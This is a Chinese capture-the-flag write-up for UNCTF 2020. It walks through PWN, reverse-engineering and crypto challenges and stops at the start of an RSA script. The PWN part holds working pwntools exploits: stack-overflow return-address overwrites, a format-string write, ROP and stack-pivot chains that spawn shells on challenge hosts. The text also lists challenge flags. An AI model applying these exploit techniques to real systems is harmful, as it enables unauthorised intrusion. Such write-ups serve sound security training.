PWN:
YLBNB:
先nc,提示用pwntool,写个脚本
from pwn import *
io = remote('45.158.33.12', 8000)
io.interactive()
运行返回flag:UNCTF{Gu@rd_Th3_Bes7_YLB}
fan:
分析附件,就是个简单的栈溢出,有个fantasy函数可以拿到shell
那么在read函数接收输入的时候直接覆盖返回地址为system函数即可。
在IDA中可以看到,buf距离EBP为0x30,但是这个是64位的程序,一个EBP占8bytes。
且fantasy函数地址为0x00400735,那么payload:
payload = 'a'(buf距离EBP) + 'a'*(EBP占占的字节) + p64(fantasy函数地址)
脚本如下:
from pwn import *
r = remote('node2.hackingfor.fun',48548)
system_addr=0x00400735
payload = 'a'*0x30 + 'a'*8 + p64(system_addr)
r.recvuntil('input your message
')
r.sendline(payload)
r.interactive()
运行拿到shell,cat flag:UNCTF{6506126d-05e5-4e74-a84f-89dc109dc627}
do_you_like_me?:
和fan一样是栈溢出
from pwn import *
r = remote('node2.hackingfor.fun',46506)
system_addr=0x004006CD
payload = 'a'*0x10 + 'a'*8 + p64(system_addr)
r.recvuntil('Give me your input : ')
r.sendline(payload)
r.interactive()
运行拿到shell,cat flag:UNCTF{e668c0b1-6cb6-4bcd-b0b2-ebd96e5818c0}
你真的会pwn嘛?:
一个简单的格式化字符串溢出漏洞
![DP8Qud.png](https://s3.ax1x.com/2020/11/14/DP8Qud.png)
但是我在用fmtstr_payload时,输出会被地址高位"x00"字节截断,可能是我太菜了。
改了一下脚本
from pwn import *
r = remote('node2.hackingfor.fun',40962)
r.recvuntil('Give me your input : ')
target_addr=0x0060107C
payload= 'AAAAA' + '%10c%12$hhn' + p64(target_addr)
#print payload
r.sendline(payload)
r.interactive()
运行运行拿到shell,cat flag:UNCTF{f19e34ea-c353-403e-9b47-7340960946b7}
原神
有两种方法,第一种是ret2text,第二种是栈迁移。
ret2text
IDA反编译后有很明显的栈溢出漏洞。
程序中没有“sh”,可以考虑构造bss段中3星的武器数量为26739,即“sh”的int值。只要抽到了这么多的3星武器,就能构造ROP,将该bss值当作参数传入rdi中拿到shell。
虽然程序关闭了标准输出流stdout,但是可以将标准输出流重定向到 其它流上面,即cat flag > &2
from pwn import *
x64 = True
fp = './GenshinSimulator'
libc_file = ''
ip = ''
ports = 9999
io=process(fp)
elf=ELF(fp)
context.os = 'linux'
context.arch = 'amd64'
sd = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
ru = lambda x: io.recvuntil(x)
rl = lambda: io.recvline()
ra = lambda: io.recv()
rn = lambda x: io.recv(x)
sla = lambda x, y: io.sendlineafter(x, y)
iat = lambda: io.interactive()
num = 0
ret = 0x400d14
rdi_ret = 0x400d13
bss_sh = 0x602314
def bulidsh():
global num
while num<26729:
ra()
sl("2")
ru('抽卡结果如下:
')
data = ru('请选择').split('
')
for i in data:
if i[:10] == 'xe2x98x85xe2x98x85xe2x98x85 ': #a = "★★★ " print(a.encode())
num+=1
while num!=26739:
ra()
sl("1")
ru('抽卡结果如下:
')
data = ru('请选择')
if data[:10] == 'xe2x98x85xe2x98x85xe2x98x85 ':
num+=1
main()
def main():
ra()
sl('3')
ra()
sl('1')
ra()
offset = 0x38
payload = "a"*offset
payload+=p64(ret)
payload+=p64(rdi_ret)
payload+=p64(bss_sh)
payload+=p64(elf.plt['system'])
sl(payload)
bulidsh()
iat()
栈迁移
虽然关闭了标准输出流无法泄漏libc,但是程序中有read函数和system函数的地址,不用libc一样可以栈迁移。
首先劫持控制流并迁移栈到bss段,这段没有什么好说的,标准代码操作。
#!/usr/bin/env python
#coding=utf-8
#__author__:b1ank
from pwn import *
fp = './GenshinSimulator'
libc_file = ''
ip = ''
ports = 9999
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
io=process(fp)
elf=ELF(fp)
system=elf.plt['system']
sd = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
ru = lambda x: io.recvuntil(x)
rl = lambda: io.recvline()
ra = lambda: io.recv()
rn = lambda x: io.recv(x)
sla = lambda x, y: io.sendlineafter(x, y)
iat = lambda: io.interactive()
ra()
sl('3')
ra()
sl('1')
rl()
bss_addr = elf.bss()
read_addr = 0x400C63
pop_rdi = 0x400d13
stack_size = 0x800
base_stage = bss_addr + stack_size
payload = 'a'*0x30 + p64(base_stage) + p64(read_addr)
sd(payload)
sleep(1)
到第二步,布置新的栈中参数。目前有两个问题,一是不知道栈大小,二是不知道pop_rdi的目标地址偏移offset是多少。
栈大小可以用cyclic和gdb一起测出来。先用cyclic生成长度为100的字符串,再gdb调试看报错字符。(注意要设置调试程序为父进程)
if args.G:
gdb.attach(io)
payload='aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
sd(payload)
iat()
再用cyclic -l 0x6161616f 计算出栈长度为56。那么
payload = 'a'*56 + p64(pop_rdi) + p64(base_stage+offset) + p64(system) + b'/bin/shx00'
随便填一个offset,gdb调试。发现'/bin/sh'字段在0x602b00处。那么offset就是0x602b00-base_stage(0x602ae0) = 0x20。
那么payload = 'a'*56 + p64(pop_rdi) + p64(base_stage+0x20) + p64(system) + b'/bin/shx00'
当然如果你顶级理解的话实际上写成这种payload = 'a'*(56-8*i) + b'/bin/shx00' + 'a'*(8*(i-1))+ p64(pop_rdi) + p64(base_stage- 8*(i-1)) + p64(system)
(i=1,2),也是可以的。
最终的exp如下
#!/usr/bin/env python
#coding=utf-8
#__author__:b1ank
from pwn import *
fp = './GenshinSimulator'
libc_file = ''
ip = ''
ports = 9999
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
io=process(fp)
elf=ELF(fp)
system=elf.plt['system']
sd = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
ru = lambda x: io.recvuntil(x)
rl = lambda: io.recvline()
ra = lambda: io.recv()
rn = lambda x: io.recv(x)
sla = lambda x, y: io.sendlineafter(x, y)
iat = lambda: io.interactive()
ra()
sl('3')
ra()
sl('1')
rl()
bss_addr = elf.bss()
read_addr = 0x400C63
pop_rdi = 0x400d13
stack_size = 0x800
base_stage = bss_addr + stack_size
payload = 'a'*0x30 + p64(base_stage) + p64(read_addr)
sd(payload)
sleep(1)
if args.G:
gdb.attach(io)
#payload='aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
#print(hex(base_stage+0x20))
payload='a'*56 + p64(pop_rdi) + p64(base_stage+0x20) + p64(system) + b'/bin/shx00'
sd(payload)
iat()
RE
反编译:
用 pyinstxtractor反编译出struct和babypy,修复头,用uncompyle6反编译pyc可得源代码,直接运行得flag
str2 = 'UMAQBvogWLDTWgX"""k'
flag = ''
for i in range(len(str2)):
flag += chr(ord(str2[i]) + i)
print(flag)
#UNCTF{un_UN_ctf123}
re_checkin:
拖入DIE,为64。拖入ida64中定位到start函数,跟进到sub_401550,发现是一个简单的对比。
跟进Str2,发现无数据,怀疑动态写入。
转到汇编发现sub_4015DC函数正是向Str2写入数据的函数,处理一下即可得到flag
.text:00000000004015DC sub_4015DC proc near
.text:00000000004015DC arg_0 = qword ptr 10h
.text:00000000004015DC
.text:00000000004015DC push rbp
.text:00000000004015DD mov rbp, rsp
.text:00000000004015E0 mov [rbp+arg_0], rcx
.text:00000000004015E4 mov cs:Str2, 'u'
.text:00000000004015EB mov cs:byte_42F041, 'n'
.text:00000000004015F2 mov cs:byte_42F042, 'c'
.text:00000000004015F9 mov cs:byte_42F043, 't'
.text:0000000000401600 mov cs:byte_42F044, 'f'
.text:0000000000401607 mov cs:byte_42F045, '{'
.text:000000000040160E mov cs:byte_42F046, 'W'
.text:0000000000401615 mov cs:byte_42F047, 'e'
.text:000000000040161C mov cs:byte_42F048, 'l'
.text:0000000000401623 mov cs:byte_42F049, 'c'
.text:000000000040162A mov cs:byte_42F04A, 'o'
.text:0000000000401631 mov cs:byte_42F04B, 'm'
.text:0000000000401638 mov cs:byte_42F04C, 'e'
.text:000000000040163F mov cs:byte_42F04D, 'T'
.text:0000000000401646 mov cs:byte_42F04E, 'o'
.text:000000000040164D mov cs:byte_42F04F, 'U'
.text:0000000000401654 mov cs:byte_42F050, 'N'
.text:000000000040165B mov cs:byte_42F051, 'C'
.text:0000000000401662 mov cs:byte_42F052, 'T'
.text:0000000000401669 mov cs:byte_42F053, 'F'
.text:0000000000401670 mov cs:byte_42F054, '}'
.text:0000000000401677 mov cs:byte_42F055, 0
.text:000000000040167E nop
.text:000000000040167F pop rbp
.text:0000000000401680 retn
.text:0000000000401680 sub_4015DC endp
babypy:
用 pyinstxtractor反编译出struct和babypy,修复头,用uncompyle6反编译pyc可得源代码
import libnum, binascii
flag = 'unctf{*******************}'
x = libnum.s2n(flag)
def gen(x):
y = abs(x)
while 1:
if y > 0:
yield y % 2
y = y >> 1
else:
if x == 0:
yield 0
l = [i for i in gen(x)]
l.reverse()
f = '%d' * len(l) % tuple(l)
a = binascii.b2a_hex(f.encode())
b = int(a, 16)
c = hex(b)[2:]
print(c)
os.system('pause')
感觉少了点东西,没有next()函数,直接运行死循环。
分析过后可知是对flag先转16进制,然后取余,移位。接着列表倒序,列表转字符串,字符串转hex,去0x得到tip.txt。
写脚本爆破,即可得到flag
import libnum
a = '111010101101110011000110111010001100110011110110101010001101000010000000111010001011111011010010111001101011111011100100110010101100001001100010011000101111001010111110110001100110000001100000011000101111101'
b = 0
for i in a:
if i == '1':
b = b*2 +1
else:
b =b*2
f = libnum.n2s(b)
print(f)
#b'unctf{Th@t_is_rea11y_c001}'
easyMaze:
拖进ida64,定位到迷宫函数
while ( 1 )
{
v1 = *(char *)(v6 + v5);
if ( v1 == 'd' ) // 左
{
++v4;
}
else if ( v1 > 'd' )
{
if ( v1 == 's' ) // 下
{
++v3;
}
else
{
if ( v1 != 'w' ) // 上
return 0i64;
--v3;
}
}
else
{ // 右
if ( v1 != 'a' )
return 0i64;
--v4;
}
if ( v4 < 0 || v3 < 0 || *((_BYTE *)Dst + 10 * v3 + v4) == 'D' || *((_BYTE *)Dst + 10 * v3 + v4) == '0' )
return 0i64;
if ( v4 > 9 || v3 > 9 )
return 0i64;
if ( *((_BYTE *)Dst + 10 * v3 + v4) == 'S' )
break;
if ( sub_4019F4() )
{
puts("I See YOU!");
exit(2);
}
++v5;
}
return 1i64;
}
但是搜字符串没有迷宫,且主函数在获取用户输入时,调用了个sub_401AC0()函数,怀疑程序是打开时初始化迷宫。
上x64dbg动调,断点设在lea rcx, Str
,即打印"Help Me Out!!!!!!!!"的地址。
可以观察到有个地址写入了这一串字符
"Oo00oD00SD0oooo0Doooo0D0oD0o00ooooo00o00oD0D0oooooo00o0o0o0ooDoooooDDDo00o00oooooD0D0000oDoooooooooD"
处理一下
Oo00oD00SD
0oooo0Dooo
o0D0oD0o00
ooooo00o00
oD0D0ooooo
o00o0o0o0o
oDoooooDDD
o00o00oooo
oD0D0000oD
oooooooooD
很明显是从O开始,0为墙壁,o为路,S为中点。结合代码可得flag:unctf{dsdddssaaaassssssddddddddwwaawawwddwwwdw}
ICU:
拖进ida,搜索字符串,有一个很明显的base64变换表
![DCUcYq.png](https://s3.ax1x.com/2020/11/14/DCUcYq.png)
跟进引用函数
__int64 __fastcall sub_40180E(__int64 a1, int a2)
{
int v3; // [rsp+24h] [rbp-1Ch]
__int64 v4; // [rsp+28h] [rbp-18h]
int v5; // [rsp+34h] [rbp-Ch]
signed int j; // [rsp+38h] [rbp-8h]
int i; // [rsp+3Ch] [rbp-4h]
__int64 v8; // [rsp+50h] [rbp+10h]
int v9; // [rsp+58h] [rbp+18h]
v8 = a1;
v9 = a2;
v4 = sub_4A2840(5 * (a2 / 3));
for ( i = 0; i < v9; i += 3 )
{
v3 = (*(unsigned __int8 *)(i + 1i64 + v8) << 8) | (*(unsigned __int8 *)(v8 + i) << 16) | *(unsigned __int8 *)(i + 2i64 + v8);
for ( j = 0; j <= 3; ++j )
*(_BYTE *)(4 * (i / 3) + j + v4) = aUyopef2ghvwx3a[(v3 >> (-6 * j + 18)) & 0x3F];
}
v5 = v9 / 3;
if ( v9 % 3 == 1 )
{
*(_BYTE *)(v4 + 4 * v5 + 2i64) = aUyopef2ghvwx3a[64];
}
else if ( v9 % 3 != 2 )
{
goto LABEL_12;
}
*(_BYTE *)(v4 + 4 * v5++ + 3i64) = aUyopef2ghvwx3a[64];
LABEL_12:
*(_BYTE *)(v4 + 4 * v5) = 0;
return v4;
}
很明显是base64的编码操作,把他重命名为base64_change
但是看解出人数有点不对劲,应该没有这么简单。继续跟进Please Input:,进入主函数,修改一下反编译代码
show(&unk_4A6920, "This file was complied by MingW
");
show(&unk_4A6920, "enjoy
");
show(&unk_4A6920, "Please Input:
");
v0 = (void *)sub_4A2860(16i64);
sub_41F030(v0);
Memory = v0;
v1 = (void *)sub_4A2860(32i64);
sub_4908B0(v1);
v10 = v1;
v7 = 0;
sub_4A0FA0(&unk_4A65C0, v1);
LODWORD(v1) = sub_42A820(v1);
v2 = sub_42A840(v10);
Str = (char *)base64_change(v2, (unsigned int)v1);
v12 = 0;
v8 = strlen(Str);
while ( v12 < v8 )
{
sub_41EEC0(Memory,&v7);
Str[v12++] += v7;
}
if ( !memcmp(Str, "HSWEH2vXHmRtGZRJvSmKviwtviv4Ga5rD25Mvl:u6ewBUKg9", 0x30ui64) )
show(&unk_4A6920, "You Win,but you don't enjoy it,right?
");
else
show(&unk_4A6920, "You lose,Try again
");
这大概意思就是,将用户输入进行一些操作然后,调用base64_change函数进行编码。之后循环和v7做加法。
最后和HSWEH2vXHmRtGZRJvSmKviwtviv4Ga5rD25Mvl:u6ewBUKg9比较。
这里处理v7的sub_41EEC0函数对于我这种re萌新是在是太过复杂,想了好久都还没有思路。
但是我偶然看到传入的v7是bool类型,想到可以爆破,上脚本。
import base64
a = 'HSWEH2vXHmRtGZRJvSmKviwtviv4Ga5rD25Mvl:u6ewBUKg'
i = 0
flag1 =''
for b in a:
if i%2 == 0:
flag1 = flag1 + chr(ord(b) - 1)
else: flag1 += b
i = i+1
flag1 = flag1 +'='
change1 = "UyOPef2ghvwx3ABdT7856QSijuCDFGst0LKER4ZabckHIJMNnopqrlmz1VWXY9+/" # 非正常base64表
normal1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" # 正常base64表
ture_key1= flag1.translate(str.maketrans(change1, normal1))
try:
print(base64.b64decode(ture_key1))
except:
print('Error')
i = 0
flag2 =''
for b in a:
if i%2 != 0:
flag2 = flag2 + chr(ord(b) - 1)
else: flag2 += b
i = i+1
flag2 = flag2 +'='
change2 = "UyOPef2ghvwx3ABdT7856QSijuCDFGst0LKER4ZabckHIJMNnopqrlmz1VWXY9+/" # 非正常base64表
normal2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" # 正常base64表
ture_key2= flag2.translate(str.maketrans(change2, normal2))
try:
print(base64.b64decode(ture_key2))
except:
print('Error')
#b'unctf{we_remember_everything_YLBNB!'
#Error
但是不知道为啥少了个}。补上后得flag:unctf{we_remember_everything_YLBNB!}
ezRust:
拖进ida,搜索字符串,有个YLBNB,跟进其引用函数,反编译有点问题
void sub_1400021E0()
{
char *v0; // [rsp+A0h] [rbp+20h]
char v1; // [rsp+A8h] [rbp+28h]
__int64 v2; // [rsp+268h] [rbp+1E8h]
v2 = -2i64;
v0 = &v1;
sub_14000B610(&v1);
JUMPOUT(unk_14000220B);
}
结合程序运行结果,
![Dp5Sud.png](https://s3.ax1x.com/2020/11/13/Dp5Sud.png)
手动修复一下,得到基本可以看的代码
v3 = scanf_from_argv((__int64)&v13);
sub_140001A00();
if ( v3 == 3 )
{
sub_14000B610(v16);
sub_140001E70((__int64)&v15, (__int64 *)v16);
sub_140007280(&v21);
sub_140007280(&v23);
v18 = v22;
v17 = v21;
v20 = v24;
v19 = v23;
v5 = sub_140006C50(&v15, 1i64, &off_1400243E8);
v6 = sub_140007380(v5);
sub_1400072D0((__int64)&v17, v6, v7);
v8 = sub_140006C50(&v15, 2i64, &off_140024400);
v9 = sub_140007380(v8);
sub_1400072D0((__int64)&v19, v9, v10);
v12 = strcmp(&v17, &off_140024420);
if ( v12 & 1 )
v25 = strcmp(&v19, &off_140024440) & 1;
else
v25 = 0;
if ( v25 & 1 )
{
printf2argv(v26, (__int64)&off_140024470, 1i64, (__int64)"src\main.rs", 0i64); //off_140024470 = 'Success! Here is your flag:'
sub_14000DB60(v26);
sub_140001EF0(&v31);
v30 = &v31;
v33 = &v31;
v28 = sub_140004A60(&v31, sub_140007330);
v29 = v11;
printf2argv(v27, (__int64)&off_140024488, 2i64, (__int64)&v28, 1i64);
sub_14000DB60(v27);
sub_140001A50(&v31);
}
else
{
printf2argv(v32, (__int64)&off_1400244B8, 1i64, (__int64)"src\main.rs", 0i64);
sub_14000DB60(v32);
}
sub_140001740(&v17);
JUMPOUT(unk_140002516);
}
printf2argv(v14, (__int64)&off_1400243C8, 1i64, (__int64)"src\main.rs", 0i64); //off_1400243C8 = 'ERROR Input!'
sub_14000DB60(v14);
return result;
大概意思就是输入三行数据,取后两行,和off_140024420中的数据以及off_140024440中的数据做对比,都相同就输出flag。
跟进off_140024420和off_140024440,发现就是YLBNB和RUSTPROGRAMING。
试着运行,成功得到flag:
unctf{Rust_more_safety_than_YLB's_Platform}
base_on_rust
拖入IDA64,查看字符串,疑似base编码
跟进引用函数
发现这里并没有进行编码,只是初始化了base64,base32和base16的表
跟进到输入处理函数,根据base编码特征修改反编译代码,可得
提取出在off_140028AE8地址的字串RzQyVE1SSldHTTNUSU5SV0c1QkRNTVJXR0UzVEdOUlZHTTNER05CVklZM0RFTlJSRzRaVE1OSlRHTVpURU5LR0dZWkRNTUpYR00zREtNWlJHTTNES1JSV0dVM0VLTlJUR1pERE1OQldHVTJVTU5LR0dWRERPUkE9
解码可得:unctf{base64_base32_base16_encode___}
Trap
拖入IDA64,跟进main函数
puts("Welcome To UNCTF2020_RE_WORLD !!!");
printf("Plz Input Key: ", a2);
__isoc99_scanf("%s", s1);
strcpy(dest, s1);
sub_400CBE();
if ( !strcmp(s1, s2) )
{
puts("Success.");
for ( i = 0; i <= 8479; ++i ){
v3 = byte_6020E0[i];
byte_6020E0[i] = s1[i % strlen(s1)] ^ v3;
}
s = fopen("/tmp/libunctf.so", "wb");
fwrite(byte_6020E0, 1uLL, 0x2120uLL, s);
getchar();
handle = dlopen("/tmp/libunctf.so", 1)
if ( !handle ){
v5 = stderr;
v6 = dlerror();
fputs(v6, v5);
exit(1);
}
v7 = (void (__fastcall *)(__int16 *, char *))dlsym(handle, "jo_enc");
dlerror();
v15 = 0;
v16 = 0;
v17 = 0;
memset(&v18, 0, 0x28uLL);
printf("plz Input Answer: ", "jo_enc", &v18);
__isoc99_scanf("%s", &v15);
v7(&v15, dest);
}
else{
puts("Loser!!!");
}
大概意思是将处理后的输入和已有字串做对比,运行的时候输入正确的s1会异或解密整个动态链接库文件,然后写入文件并调用jo_enc函数对接下来的输入以v15(第二次输入的字串),dest(第一次输入的字串)的顺序进行调用检查
首先将输入与0x22异或, 然后创建了一个线程
v2 = strlen(s1);
for ( i = 0; i < v2; ++i )
s1[i] ^= 0x22u;
pthread_create(&th, 0LL, (void *(*)(void *))start_routine, 0LL);
return pthread_join(th, 0LL);
接着调用sub_400BC0函数将s2与0x33异或并写入文件
v3 = strlen(s2);
sub_400B76(v0);//反调试
for ( i = 0; ; ++i )
{
result = i;
if ((signed int)i >= v3 )
break;
s2[i] ^= 0x33u;
}
return result;
和调用sub_400C13函数对s1和s1长度做运算
for ( i = 0; ; ++i ){
result = (unsigned int)i;
if ( i >= v3 )
break;
sub_400C13(&s1[i], v3);
}
这里的sub_400C13有简单的花指令,
手动修复后其实就是个循环
__int64 __fastcall sub_400C13(_BYTE *a1, int a2)
{
if ( !a2 )
return 1LL;
++*a1;
return sub_400C13(a1, (unsigned int)(a2 - 1));
}
那么脚本就很好写了
s2=[26,23,18,23,17,44,124,27,46,45,125,124,125,46]
for i in s2:
print(chr(((i^0x33)-len(s2))^0x22),end='')
#941463c8-2bcb-
将生成的libunctf.so拖入ida64分析jo_enc函数
__int64 __fastcall jo_enc(char *a1, char *a2)
{
char *v2; // ST20_8
size_t v3; // ST10_8
int n; // [rsp+60h] [rbp-500h]
int m; // [rsp+64h] [rbp-4FCh]
int l; // [rsp+68h] [rbp-4F8h]
int k; // [rsp+6Ch] [rbp-4F4h]
int v9; // [rsp+70h] [rbp-4F0h]
int j; // [rsp+74h] [rbp-4ECh]
int v11; // [rsp+78h] [rbp-4E8h]
signed int i; // [rsp+7Ch] [rbp-4E4h]
int v13[48]; // [rsp+80h] [rbp-4E0h]
int odd_number[128]; // [rsp+140h] [rbp-420h]
int even_number[129]; // [rsp+340h] [rbp-220h]
int v16; // [rsp+544h] [rbp-1Ch]
char *input1; // [rsp+548h] [rbp-18h]
char *input2; // [rsp+550h] [rbp-10h]
input2 = a1;
input1 = a2;
v16 = 0;
memset(even_number, 0, 0x200uLL);
memset(odd_number, 0, 0x200uLL);
memset(v13, 0, 0xC0uLL);
for ( i = 0; i < 128; ++i )
{
even_number[i] = 2 * i;
odd_number[i] = 2 * i + 1;
}
v11 = strlen(input2);
for ( j = 0; j < v11; ++j )
{
v9 = input2[j];
if ( !(v9 % 2) )
{
for ( k = 0; k < v9; k += 2 )
v13[j] += even_number[k];
}
if ( v9 % 2 )
{
for ( l = 0; l < v9; l += 2 )
v13[j] += odd_number[l];
}
}
for ( m = 0; m < v11; ++m )
{
v2 = input1;
v3 = strlen(input1);
v13[m] = (16 * v2[m % v3] & 0xE827490C | ~(16 * v2[m % v3]) & 0x17D8B6F3) ^ (v13[m] & 0xE827490C | ~v13[m] & 0x17D8B6F3);
}
for ( n = 0; n < v11; ++n )
{
if ( v13[n] != *((_DWORD *)off_200FD8 + n) )
{
v16 = 0;
exit(1);
}
++v16;
}
if ( v16 == 22 )
puts("Win , Flag is unctf{input1+input2}");
return 0LL;
}
根据第一个输入可得,v9(即第二个输入的ascii码)范围在45~127,可以写爆破脚本
cipher_lst = [1668, 1646, 1856, 4118, 1899, 1752, 640, 2000, 4412, 1835, 820, 984, 968, 1189, 4353, 1646, 4348, 4561, 1564,1566, 5596, 1525]
input1 = '941463c8-2bcb-'
input2 = ''
even_number = [i * 2 for i in range(128)]
odd_number = [i * 2 + 1 for i in range(128)]
cipher_ = [((16 * ord(input1[m % 14])) & 0xE827490C | (~(16 * ord(input1[m % 14])) & 0x17D8B6F3)) ^ (cipher_lst[m] & 0xE827490C | ~cipher_lst[m] & 0x17D8B6F3) for m in range(22)]
for a in cipher_:
for n in range(45,127):
j = 0
if not n % 2:
for i in range(0, n, 2):
j += even_number[i]
else:
for i in range(0, n, 2):
j += odd_number[i]
if j == a:
input2 += chr(n)
print('unctf{' + input1 + input2 + '}')
之后经过师傅的点拨,
原来 (str1 & random_hex1 | ~str1 & random_hex2) ^ (str2 & random_hex1 | ~str2 & random_hex2) 和 str1^str2是等价的
ezvm
根据初始信息修改主函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
vm v5; // [rsp+20h] [rbp-28h] BYREF
sub_4025B0();
show();
init_stack(&v5);
branch(&v5);
v3 = 0i64;
while ( byte_404040[v3] == *(_BYTE *)(v5.input + v3) ){
if ( ++v3 == 21 ){
puts("wuhu flag is what you input");
return 0;
}
}
puts("wrong! maybe you are not a hacker !");
return 0;
}
init_stack中初始化三个寄存器,操作码和输入
*(_DWORD *)a1 = 0;
*(_DWORD *)(a1 + 4) = 0;
*(_DWORD *)(a1 + 8) = 0;
*(_QWORD *)(a1 + 16) = &unk_404080;
v2 = malloc(0x512ui64);
*(_QWORD *)(a1 + 24) = v2;
那么建个结构体
数据类型根据储存位置改变,首先满足结构体各变量位置距离与初始化中的地址偏移相同。
跟进branch,根据快指数算法的优化代码和加法逻辑代码可得
while ( 2 )
{
result = *v2;
if ( (_BYTE)result != 0xF9 )
{
LABEL_3:
switch ( (char)result )
{
case 0xF0: // 对比
v14 = v2[1];
if ( a1->r2 == v14 )
a1->r0 = 0;
else
a1->r0 = (a1->r2 >= v14) + 1;
goto LABEL_12;
case 0xF1:
sub_4015A0(a1);
/* 2: a1->opcode = a1->opcode + 3
5: a1->opcode = a1->opcode + 3
a1->r0 = a1->input[a1->r2]
6: a1->opcode = a1->opcode + 3
a1->r1 = a1->opcode[2]
7: a1->opcode = a1->opcode + 3
a1->r2 = a1->opcode[2] */
v2 = (unsigned __int8 *)a1->opcode;
continue;
case 0xF3: // add a1->r2 , v2[1]
v8 = v2[1];
v9 = a1->r2;
if ( v2[1] )
{
do
{
v10 = v8;
v11 = v9 & v8;
v12 = v9 ^ v10;
v13 = 2 * v11 == 0;
v8 = 2 * v11;
v9 = v12;
}
while ( !v13 );
a1->r2 = v12;
}
else
{
a1->r2 = v9;
}
goto LABEL_12;
case 0xF4: // 字符是否处理完成,是则调到F9结束循环,否则回到result = *v2继续循环
if ( a1->r0 == 1 )
{
v2 -= v2[1];
a1->opcode = (__int64)v2;
}
else
{
LABEL_12:
v2 += 2;
a1->opcode = (__int64)v2;
}
continue;
case 0xF7: // 读取21位字符存放在a1->input
sub_401570(a1);
v2 = (unsigned __int8 *)a1->opcode;
continue;
case 0xF8: // 快指数算法: pow(v4,7) mod 187
v4 = a1->r0;
v5 = 3;
v6 = 1i64;
v7 = 7i64;
do
{
if ( (v7 & 1) != 0 )
v6 = v4 * v6 % 187;
v7 >>= 1;
--v5;
v4 = v4 * v4 % 187;
}
while ( v5 );
++v2;
a1->r0 = v6;
a1->opcode = (__int64)v2;
result = *v2;
if ( (_BYTE)result != 0xF9 ) // 结束
goto LABEL_3;
return result;
default:
puts("fxxx me ?");
v2 = (unsigned __int8 *)a1->opcode;
continue;
}
}
return result;
}
若是做过密码学的一眼就可以看出0xF8是个给定 c ,e,N的rsa加密。
为了方便理解,对rsa做个简略的介绍。
- p 和 q:两个大的质数,是另一个参数N的的两个因子
- N:大整数,可以称之为模数
- c 和 m:密文和明文
- e 和 d:互反数满足 e*d mod 160 = 1
- pow(x, y, z):效果等效 pow(x, y) % z。
- 对明文m进行加密:c = pow(m, e, N),可以得到密文c
对密文c进行解密:m = pow(c, d, N),可以得到明文m
百度一下就可知7的互反数为23,即7*23 mod 160 = 161 mod 160 = 1
纯动态:
动调一下看加密情况
输入21个字符1
加密完成后发现是每隔两位加密
debug024:00000000001E1550 db 19h
debug024:00000000001E1551 db 31h ; 1
debug024:00000000001E1552 db 19h
debug024:00000000001E1553 db 31h ; 1
debug024:00000000001E1554 db 19h
debug024:00000000001E1555 db 31h ; 1
debug024:00000000001E1556 db 19h
debug024:00000000001E1557 db 31h ; 1
debug024:00000000001E1558 db 19h
debug024:00000000001E1559 db 31h ; 1
debug024:00000000001E155A db 19h
debug024:00000000001E155B db 31h ; 1
debug024:00000000001E155C db 19h
debug024:00000000001E155D db 31h ; 1
debug024:00000000001E155E db 19h
debug024:00000000001E155F db 31h ; 1
debug024:00000000001E1560 db 19h
debug024:00000000001E1561 db 31h ; 1
debug024:00000000001E1562 db 19h
debug024:00000000001E1563 db 31h ; 1
猜一下只进行了rsa,写个脚本
a=[150,48,144,106,159,54,39,116,179,49,157,95,142,95,17,97,157,121,39,118,131]
b=''
for i in range(21):
if i%2 == 0:
b += chr(pow(a[i],23,187))
else:
b += chr(a[i])
print(b)
#90dj06_th1s_A_3asy_vm
成功得到flag
动态加静态:
动调得到指令调用顺序:
0xF7->0xF1(6,3)->0xF1(7,0)->0xF1(5,0)->0xF8->0xF1(2,0)->0xF0(0x14)->0xF3(2)->0xF4(0xB)循环到字符读取完成->0xF9
根据上面的分析可得汇编伪代码
read a1->input
mov a1->r1 , 3
mov a1->r2 , 0 // input索引
loop:
mov a1->r0 , a1->input[a1->r2]
mov a1->r0 , pow(a1->r0,7) mod 187
mov a1->input[r2] , a1->r0
if a1->r2 = 0x14 (20)
mov a1->r0 , 0
else:
mov a1->r0 , bool(a1->r2 > v14) + 1 ;if a1->r2 > 0x14 mov a1->r0 , 1 else: mov a1->r0 , 2
add a1->r2 , 2 //隔两位加密
if a1->r0 == 1
mov a1->opcode , *(&a1->opcode - 0xB) ;指向0xF1(5,0),等价goto loop
else:
mov a1->opcode , 2 //指向0xF9
cmp encrypt , input
还看不懂的可以看伪c
char input;
scanf(&input,21);
int r1 = 3, r2 = 0, r0 = 0, flag = 1, v1;
int encrypt[21] = [150,48,144,106,159,54,39,116,179,49,157,95,142,95,17,97,157,121,39,118,131];
do{
r0 = pow(input[r2],7) mod 187;
input[r2] = r0;
if (r2 > 20)
r0 = 0;
else{
if r2 > 20
r0 = 1;
else
r0 = 2;
}
r2 += 2;
if (r0 == 1)
flag = 1;
else
flag = 0
}while(flag)
while ( encrypt[v3] == input[v3] ){
if ( ++v3 == 21 ){
puts("wuhu flag is what you input");
return 0;
}
}
puts("wrong! maybe you are not a hacker !");
很明显就是对输入进行隔行rsa加密,注意加密内容是字符不是数字。
脚本和纯动态的一样,就不写了。
Crypto
鞍山大法官开庭之缺的营养这一块怎么补:
只有两个字符,猜测是培根密码,把o换成A,t换成B,在线解密一下得peigenhenyouyingyang。
原本以为flag是:unctf{peigenhenyouyingyang},结果不对。后来发现是全大写,所以flag为unctf{PEIGENHENYOUYINGYANG}
easy_rsa:
给了a,b,e,c且a = p + q, b = p - q,直接上脚本。
import libnum
from Crypto.Util import number
import gmpy2
from Crypto.Util.number import long_to_bytes
